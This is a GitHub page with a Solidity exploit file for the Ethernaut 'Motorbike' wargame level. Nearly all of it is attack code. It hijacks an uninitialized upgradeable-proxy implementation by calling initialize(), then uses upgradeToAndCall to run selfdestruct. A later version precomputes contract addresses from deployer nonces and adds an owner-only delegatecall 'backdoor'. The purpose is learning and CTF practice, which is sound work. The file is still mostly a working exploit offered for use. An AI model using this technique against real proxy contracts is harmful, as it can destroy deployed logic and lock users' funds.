-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit_motorbike.sol
240 lines (214 loc) · 7.81 KB
/
exploit_motorbike.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// PRE DECCUN UPDATE
contract Boom {
Engine public engine;
constructor(address _engine) public {
engine = Engine(_engine);
}
function crash() public {
engine.initialize();
require(engine.upgrader() == address(this));
engine.upgradeToAndCall(
address(this),
abi.encodeWithSignature("engineSieze()")
);
}
function engineSieze() public payable {
selfdestruct(msg.sender);
}
}
// POST DECCUN UPDATE
// BY https://github.com/Ching367436/ with a few mods.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Engine {
function initialize() external {}
function upgradeToAndCall(
address newImplementation,
bytes memory data
) external payable {}
}
contract AddressHelper {
function getNonce(address _addr) public view returns (uint256 nonce) {
for (; ; nonce = nonce + 1) {
address contractAddress = computeCreateAddress(_addr, nonce);
if (!isContract(contractAddress)) return nonce;
}
}
function isContract(address _addr) public view returns (bool) {
// https://ethereum.stackexchange.com/questions/15641/how-does-a-contract-find-out-if-another-address-is-a-contract
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function computeCreateAddress(
address deployer
) external view returns (address) {
uint256 nonce = getNonce(deployer);
return computeCreateAddress(deployer, nonce);
}
// The code below is adapted from https://github.com/OoXooOx/Predict-smart-contract-address/blob/main/AddressPredictorCreateOpcode.sol
function addressFromLast20Bytes(
bytes32 bytesValue
) private pure returns (address) {
return address(uint160(uint256(bytesValue)));
}
function computeCreateAddress(
address deployer,
uint256 nonce
) public pure returns (address) {
// forgefmt: disable-start
// The integer zero is treated as an empty byte string, and as a result it only has a length prefix, 0x80, computed via 0x80 + 0.
// A one byte integer uses its own value as its length prefix, there is no additional "0x80 + length" prefix that comes before it.
if (nonce == 0x00)
return
addressFromLast20Bytes(
keccak256(
abi.encodePacked(
bytes1(0xd6),
bytes1(0x94),
deployer,
bytes1(0x80)
)
)
);
if (nonce <= 0x7f)
return
addressFromLast20Bytes(
keccak256(
abi.encodePacked(
bytes1(0xd6),
bytes1(0x94),
deployer,
uint8(nonce)
)
)
);
// Nonces greater than 1 byte all follow a consistent encoding scheme, where each value is preceded by a prefix of 0x80 + length.
if (nonce <= 2 ** 8 - 1)
return
addressFromLast20Bytes(
keccak256(
abi.encodePacked(
bytes1(0xd7),
bytes1(0x94),
deployer,
bytes1(0x81),
uint8(nonce)
)
)
);
if (nonce <= 2 ** 16 - 1)
return
addressFromLast20Bytes(
keccak256(
abi.encodePacked(
bytes1(0xd8),
bytes1(0x94),
deployer,
bytes1(0x82),
uint16(nonce)
)
)
);
if (nonce <= 2 ** 24 - 1)
return
addressFromLast20Bytes(
keccak256(
abi.encodePacked(
bytes1(0xd9),
bytes1(0x94),
deployer,
bytes1(0x83),
uint24(nonce)
)
)
);
// forgefmt: disable-end
// More details about RLP encoding can be found here: https://eth.wiki/fundamentals/rlp
// 0xda = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x84 ++ nonce)
// 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex)
// 0x84 = 0x80 + 0x04 (0x04 = the bytes length of the nonce, 4 bytes, in hex)
// We assume nobody can have a nonce large enough to require more than 32 bytes.
return
addressFromLast20Bytes(
keccak256(
abi.encodePacked(
bytes1(0xda),
bytes1(0x94),
deployer,
bytes1(0x84),
uint32(nonce)
)
)
);
}
}
contract MotorbikeExploit is AddressHelper {
address public owner;
address constant selfdestructContract =
0xCD8b3Af52D2dF0BA87d4556091a34841a330Ffa9;
address constant ethernaut = 0xa3e7317E591D5A0F1c605be1b3aC4D2ae56104d6;
address constant motorbikeLevel =
0x3A78EE8462BD2e31133de2B8f1f9CBD973D6eDd6;
address engine;
address motorbike;
modifier onlyOwner() {
require(msg.sender == owner, "owner");
_;
}
constructor() {
owner = msg.sender;
// The nonce can be obtained by using `cast nonce $LEVEL -r $RPC`, where $LEVEL is the motorbike level address
// We can also get the nonce using `getNonce(motorbikeLevel)`
// However, since the nonce is too big, the call may be reverted.
// The nonce was 3179 for my case
solve(3179);
}
function solve(uint256 nonce) public onlyOwner {
createLevelInstance();
// uint256 nonce = getNonce(motorbikeLevel);
engine = computeCreateAddress(motorbikeLevel, nonce);
motorbike = computeCreateAddress(motorbikeLevel, nonce + 1);
selfdestructEngine(Engine(engine));
// We should not submit the level within the same transaction since it uses [Address.isContract] to check if we pass. Therefore, we need to call it manually.
// submitLevelInstance();
}
function createLevelInstance() public onlyOwner {
// create a new Motorbike instance
(bool success, ) = ethernaut.call(
abi.encodeWithSignature(
"createLevelInstance(address)",
motorbikeLevel
)
);
require(success, "Failed to create level instance");
}
function submitLevelInstance() public onlyOwner {
// submit the instance
(bool success, ) = ethernaut.call(
abi.encodeWithSignature("submitLevelInstance(address)", motorbike)
);
require(success, "Failed to submit level instance");
}
function selfdestructEngine(Engine engine) private {
engine.initialize();
engine.upgradeToAndCall(
selfdestructContract,
abi.encodeWithSignature("engineSieze()")
);
}
function backdoor(address implemetation) external payable onlyOwner {
assembly {
let ret := delegatecall(gas(), implemetation, 0, 0, 0, 0)
}
}
}
contract Boom {
function engineSieze() public payable {
selfdestruct(payable(address(0)));
}
}